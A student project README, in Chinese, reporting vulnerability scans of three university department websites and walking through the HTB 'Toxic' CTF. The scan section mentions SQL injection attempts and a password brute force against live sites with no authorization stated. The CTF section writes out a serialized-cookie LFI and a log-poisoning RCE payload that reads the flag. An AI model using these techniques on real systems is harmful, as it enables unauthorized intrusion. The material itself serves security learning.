Skip to content

Latest commit

 

History

History
290 lines (277 loc) · 12.3 KB

README.md

File metadata and controls

290 lines (277 loc) · 12.3 KB

網頁漏洞掃描及 CTF

Concept Development

動機

  • 因為想學資安,想透過這堂課提升自己的相關知識與觀念

目的

  • 原目的:實作、練習資安攻擊,嘗試控制系網或是獲得敏感資訊
  • 修改目的: 可能系網真的太安全了(或是我們能力不足,所以改作偵查結果報告及 CTF

使用到的技術

  • Kali
    • 駭客工具包
  • Nmap
    • 查水表的
    • Port Scan 王者、OS 版本、應用程式版本
  • Nikto
    • 好用的網頁漏洞掃描
  • Skipfish
    • google 開發的掃描工具(很久沒更新了
  • OWASP ZAP
    • OWASP 的網頁漏洞掃描程式
  • 其他針對性掃描工具
    • WPScan、Joomscan
  • Burp Suite
    • GUI 抓包神器

Installation

Implementation Process

弱點掃描

  • 為了執行工具方便,以下使用 kali linux
  • 以下結果有些因忘記保存,所以日期是近期補掃描結果!

Nmap

A系

  • 系統及服務版本探測:
    • 資訊: nginx 1.21.1 80 port、443 port 開啟 其他受防火牆保護
    • 結果: 恩!很讚!(但有時候會探測到 ftp 21 port closed

B系

  • 系統及服務版本探測:
    ┌──(kali㉿kali)-[~]
    └─$ sudo nmap -sV -p 22,80,443 www.econ.ncnu.edu.tw
    Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-11 05:39 EDT
    Nmap scan report for www.econ.ncnu.edu.tw (163.22.17.239)
    Host is up (0.020s latency).
    Other addresses for www.econ.ncnu.edu.tw (not scanned): 2001:e10:6840:17::239
    
    PORT    STATE SERVICE  VERSION
    22/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
    80/tcp  open  http     nginx 1.10.3 (Ubuntu)
    443/tcp open  ssl/http nginx 1.10.3 (Ubuntu)
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 13.66 seconds
    
    • 資訊 : 22 (OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0))、 80 (nginx 1.10.3 (Ubuntu)) 、 443 (nginx 1.10.3 (Ubuntu)) port 開啟
      • 搜尋 OpenSSH 7.2p2 是否存在已知漏洞,發現可能是username 窮舉,所以並未進行測試
    • 結果: 可能可以進行窮舉,但會花費許多時間,且還需暴力破解密碼

C系

  • 系統及服務版本探測:
    • 資訊 : 80 (IIS/7.5)、 135 (Microsoft Windows RPC) 、 443 (Microsoft IIS httpd 7.5)、 445 (Windows Server 2008 R2) 、 1027 (Microsoft Windows RPC) 、2000 (cisco-sccp?) 、3389 (ssl/ms-wbt-server?)、5060(sip?) 在 oracle virtualbox 上執行
    • 結果:已知是由廠商維護,所以沒有花太多時間在此系網上

Nikto

A系

  • 資訊 : OSVDB-1210 、 OSVDB-3092
    • OSVDB-1210 : 檢查後,可能不存在漏洞
    • OSVDB-3092 : 檢查後,無可利用資訊
  • 結果 : 程式有檢測到可能存在的漏洞,但排查後應並無漏洞。

B系

  • 資訊:
    • nginx/1.10.3
      • 可能存在 CVE-2017-7529 Remote Integer Overflow Vulnerability , 但漏洞腳本測試未通過,可能已修復,但建議更新
    • robotrs.txt 與 OSVDB-3092: 大部分到空白的頁面,除了 /administrator/ 進入Joomla 控制台 (嘗試注入攻擊)
    • OSVDB-578:
      • 應該是 CVE-2000-0984 CVE-2001-0537,應已更新補丁
    • OSVDB-4908:
      • 測試失敗,應該漏洞已修復
  • 結果: 程式有檢測到可能存在的漏洞,但應都已修復。

C系

  • 資訊:
    • /manage/ 是該系廠商登入系統,嘗試進入失敗
      • 嘗試忘記密碼或忘記帳號,試圖 SQL injection 但未成功
    • OSVDB-12184 :
      • 檢查發現這些是 PHP 復活節彩蛋,大約會在 PHP 5.5 版之前
      • 此彩蛋檢查後,應該是沒有漏洞,但仍被建議禁用
    • OSVDB-3092 :
      • 只是不同分頁
  • 結果: 程式有檢測到可能存在的漏洞,但排查後應並無漏洞。

skipfish

A系

  • 資訊 : 經檢查似乎並不存在漏洞(未確定
  • 結果 : 程式有檢測到可能存在的漏洞,但排查後應並無漏洞。

B系

  • 資訊 : 經檢查似乎並不存在漏洞(未確定
  • 結果 : 程式有檢測到可能存在的漏洞,但排查後應並無漏洞。

C系

  • 資訊 : 完美
  • 結果 : 完美通過測試

OWASP ZAP

A系

  • 資訊 : 可能存在 reflected XSS 、 SQL Injection 漏洞
    • 排查 reflected XSS : ZAP 在自動化掃描時,檢測到能輸入 onmouseover=alert(1); 且又能送出交由 server 即判斷可能存在 XSS,但實際上未能成功執行 -> 漏洞不存在
    • 排查 SQL Injection : 警報的頁面是某老師的個人資訊,經檢查似乎找不到有與 SQL 語句相關的地方
  • 結果:應用程式有通報疑似漏洞,但排查後並可能並未存在。

B系

  • 資訊 : 可能存在 reflected XSS 漏洞
    • 排查 reflected XSS : ZAP 在自動化掃描時,檢測到能輸入 onmouseover=alert(1); 且又能送出交由 server 即判斷可能存在 XSS,但實際上未能成功執行 -> 漏洞不存在
  • 結果:應用程式有通報疑似漏洞,但排查後並可能並未存在。

C系

  • 資訊: 中等測試通過
  • 結果: 測試通過

針對掃描

A系

  • WPScan
    • 資訊:補掃描後無明顯漏洞,(但記得曾經有找到 Wordpress 3、4 個帳號名稱,有使用暴力破解,但執行七小時後關閉
    • 結果:曾有掃瞄出帳號名稱,但未成功暴力破解密碼

B系

  • joomscan
    • 資訊:無檢測到漏洞
    • 結果:測試通過 (因 joomscan 久未更新

掃描重點整理

資管系 經濟系 諮人系
Nmap 無 port 可利用 22 port 開啟 8 個 port 開啟
Nikto 程式有檢測到可能存在的漏洞,但排查後應並無漏洞。 程式有檢測到可能存在的漏洞,但應都已修復 程式有檢測到可能存在的漏洞,但排查後應並無漏洞。
Skipfish 程式有檢測到可能存在的漏洞,但排查後應並無漏洞。 程式有檢測到可能存在的漏洞,但排查後應並無漏洞。 完美通過測試
OWASP Zap 程式有檢測到可能存在的漏洞,但排查後應並無漏洞。 程式有檢測到可能存在的漏洞,但排查後應並無漏洞。 測試通過
針對掃描 嘗試利用結果暴力破解(未成功 測試通過(應測試軟體過久沒更新 無針對測試

CTF

什麼是 CTF

  • Capture The Flag
  • 以駭客的角度進行演練(紅隊的測試演練)
  • 透過各式資安能力找到漏洞並針對漏洞攻擊
  • 攻擊成功 ➡️ Flag 到手
  • 題型:Crypto、Web、Pwn、Reverse、Forensic、Misc

Example:Toxic

解題思路

:::info Pre-Knowledge

  • 開發者工具 - Network(f12
    • 查看網路封包
  • BurpSuite
    • 開啟瀏覽器 Proxy
    • 用 BurpSuite 監聽 Proxy
    • 攔截封包 intercept on
    • 修改封包 send to repeater :::
  1. 先用開發者工具看看封包
  2. 逛看看 source code
    • flag
      HTB{f4k3_fl4g_f0r_t3st1ng}
      

      Leet(駭客語):fake_flag_for_testing

    • index.html
    • index.php
      <?php
      spl_autoload_register(function ($name){
          if (preg_match('/Model$/', $name))
          {
              $name = "models/${name}";
          }
          include_once "${name}.php";
      });
      
      if (empty($_COOKIE['PHPSESSID']))
      {
          $page = new PageModel;
          $page->file = '/www/index.html';
          
          # here
          setcookie(
              'PHPSESSID', 
              base64_encode(serialize($page)), 
              time()+60*60*24, 
              '/'
          );
      } 
      
      $cookie = base64_decode($_COOKIE['PHPSESSID']);
      unserialize($cookie); # unserialize 完後就會去找
      
    • entrypoint.sh
      # Generate random flag filename
      mv /flag /flag_`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1`
      
    • Dockerfile
      COPY flag /flag
      
    • nginx.conf
      user www;
      pid /run/nginx.pid;
      error_log /dev/stderr info;
      
      events {
          worker_connections 1024;
      }
      
      http {
          # 關閉伺服器資訊與版本
          server_tokens off;
          # 自定義日誌格式:
          # $remote addr:Client IP
          # $remote user:客戶端使用者名稱
          # $status:response 狀態碼,1xx 是訊息 , 2xx 是成功 , 3xx 是重新導向 , 4xx 是用戶端錯誤 以及 5xx 是伺服器錯誤
          # $request(可控):完整的原始請求行(含存取方式),如 "GET / HTTP/1.1"
          # $http_referer(可控):請求的 referer 地址
          # $http_user_agent(可控):Client 瀏覽器資訊
          log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
          # 日誌寫入路徑 + 格式
          access_log /var/log/nginx/access.log docker;
      
          charset utf-8;
          keepalive_timeout 20s;
          sendfile on;
          tcp_nopush on;
          client_max_body_size 1M;
      
          include  /etc/nginx/mime.types;
      
          server {
              listen 80;
              server_name _; 
              index index.php;
              root /www;
      
              location / {
                  # nginx 會去尋找 $uri 檔案是否存在,找不到時則回傳 /www/index.php?$query_string 這個檔案出去
                  try_files $uri $uri/ /index.php?$query_string;
                  location ~ \.php$ {
                      try_files $uri =404;
                      fastcgi_pass unix:/run/php-fpm.sock;
                      fastcgi_index index.php;
                      fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
                      include fastcgi_params;
                  }
              }
          }
      }
      
  3. 將 Host 上的 Cookie Decode
    O:9:"PageModel":1:{s:4:"file";s:15:"/www/index.html";}
    
  4. LFI 測試 :::info LFI
    • 後端程式 PHP 語言使用 include 引入其他 php 檔案的時候,沒有驗證輸入的值/要前往的路徑,導致敏感資料外洩
    • 敏感資料外洩的資料是在伺服器 Local 端,所以這個漏洞叫做 Local File Inclusion :::
    • 改為其他路徑 Encode 放入 Cookie 測試,例如:/etc/passwd
    • 因為 Source Code 中沒有判斷合法路徑
    • 可以正常顯示結果
  5. 訪問日誌
    • Encode O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";} 放進 Cookie
  6. 嘗試 LFI to RCE
    • <?php system('ls /');?>
    • 確認 Server 執行的結果也會寫入 Log
    • <?php system('cat /flag*');?>

Job Assignment

  • 蕭仲廷:排查系網漏洞、CTF 尋找及應用 、文書、資料查詢
  • 朱珮瑜:排查系網漏洞、CTF 尋找及應用 、文書、資料查詢

References